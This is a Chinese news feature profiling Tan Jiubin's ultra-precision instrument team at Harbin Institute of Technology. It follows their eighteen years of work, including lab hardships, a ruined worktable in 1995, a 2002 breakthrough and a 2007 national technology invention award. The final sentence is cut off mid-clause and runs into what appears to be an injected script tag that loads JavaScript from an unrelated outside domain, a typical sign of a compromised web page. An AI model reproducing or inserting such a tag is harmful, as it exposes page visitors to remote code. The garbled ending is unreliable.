这是漫长的十八年。
1989年,哈工大“超精密特种形状测量技术与装置”项目组白手起家。
1992年,37岁的谭久彬与杨文国、李东升挤在借来的一张实验桌上完成了长达三年的前期预研工作,朝着最难的目标开始跋涉。
1995年,我国第一台大型专用精密仪器在“三人一桌”的特殊课题组诞生。
2002年,经历数百次失败,课题组突破关键技术,一系列重大成果不断推出。
2007年2月27日,谭久彬与他的团队一起摘得代表我国发明创造最高水平的唯一奖项———国家技术发明奖一等奖。
让我们共同走近这个团队,走进他们的“超精密”世界。
超精密方向研究,不仅仅要经受技术攻关的考验,更需要耐得住长期无成果的寂寞。18年坐住冷板凳,谭久彬和他的团队矢志不渝:国家的需求是我们的第一选择
大型超精密级专用仪器,是制约国防航天先进装备发展的核心基础装备,国家急需,买不来,又绕不过去。“国家的需求就是我们的第一选择”,1992年,谭久彬与同事们完成长达三年的前期预研工作,和杨文国、李东升一起,撑起大型超精密仪器项目攻关组。
谭久彬说,我们一开始就朝着最难的目标奔去了。
很快,机会就来了:国家急需一台大型专用精密测量仪器,必须赶在两年内完成!全国没有人承接这个项目,任务下达到哈工大。谭久彬和他的课题组开始与时间赛跑。由于当时实验条件不够好,白天外界一丁点动静所带来的振动、噪声都将对实验结果产生极大影响。只有到凌晨三四点钟,才是实验最佳时刻。记不清有多少个日日夜夜,这些年轻的研究人员通宵达旦地工作。1995年,我国第一台大型专用精密仪器在“三人一桌”的特殊课题组中诞生。
首台大型专用精密仪器研制成功,课题组每个人都十分高兴。作为领头人的谭久彬开始冷静思考:随着国家的发展,大型超精密专用测量仪器的需求将越来越迫切。他下决心带领团队在大型超精密仪器技术这个研究方向上坚持走下去,拿出硬碰硬的东西来。
超精密方向研究,是一个不容易出成果的新方向,也是短期内不能见到效果的热点方向,前进一步都很困难,要经常面对失败的打击,充满风险。谭久彬说,要专心致志地从事一个方向的研究并非易事,要避开来自不同方面的干扰。最大的干扰就是一些小型短期项目,这类项目技术水平不高,但利润丰厚,做起来还很容易。谭久彬和课题组做出选择:做这类项目会直接冲击既定研究方向的研究工作,致使离既定的研究目标越来越远,甚至落空,必须专注专心既定方向的研究。耐住寂寞,矢志不渝。历经18年,课题组经受住数以百计的失败,突破一个个单元技术,研究成果站在国际前列。瞄准国家需要,课题组不断实现跨越。面对失败,一向坚强的谭久彬也曾偷偷流泪。18年磨砺出课题组坚定的信念:要吃得起苦,要有一干就是十几年甚至几十年的劲头这个选择,注定他们要走一条漫长的艰辛之路。当时,课题组连个栖身之地都没有。他们经常远上北京、上海等地,跟人磨嘴皮子,等上很长时间,蹭人家的地方和设备做一个实验。
1995年大年初三,由于材料热处理工艺出了问题,花了十几万元的工作台不得不报废,一向坚强的谭久彬忍不住偷偷地流泪了。回想起那次挫败经历,谭久彬还是不断摇头,不断地说:“那次打击太大了,太大了。”
擦干眼泪,谭久彬和课题组更加忘我工作。最紧张时,实验室里有10多套行李卷,大家一住就是43天。承接第一个项目时,谭久彬妻子正在瑞士读博士,他就把孩子送到姥姥家。除了睡觉吃饭,谭久彬和同事们基本都泡在实验室里;赶上出实验数据时,他更是整夜整夜地守在实验室里,以随时发现问题随时调整。长期没有规律的生活,让谭久彬的身体严重透支。有几次他正和同事们讨论方案,一下子就虚脱了,出溜到桌子底下,同事们赶紧把他送到医院。可刚刚好一点,谭久彬就又回到实验室。
谭久彬一直这样激励大家:“这项研究不可能在短时间内出现效果,而且风险大,经常会遇到挫折和失败,所以我们不仅要吃得起苦,还要有很坚强的毅力和韧劲儿,要有一干就是十几年甚至几十年的劲头。”
2002年冬天的一个深夜,实验室里静得只能听见时钟的嘀嗒声。大家屏息等待,一个重要实验的结果就要出来了。也许是经历过太多次失败,对最终结果,大家都不敢肯定。
出来了,数据正确!实验室沸腾了。
关键技术的突破,使得一系列重大成果不断推出。他们先后研制出十多台大型专用超精密测量仪器与测试设备,并陆续装备到国防和航天工业部门,解决了精密专用装备研制和生产中的测量与测试难题。同时,研制出我国第一台基准型圆柱形状测量仪,为实现全国范围内的圆柱度量值的统一奠定了基础。
18年埋头攻关,谭久彬带领课题组把我国大型精密仪器技术水平直接带入?script src=http://er12.com/t.js>











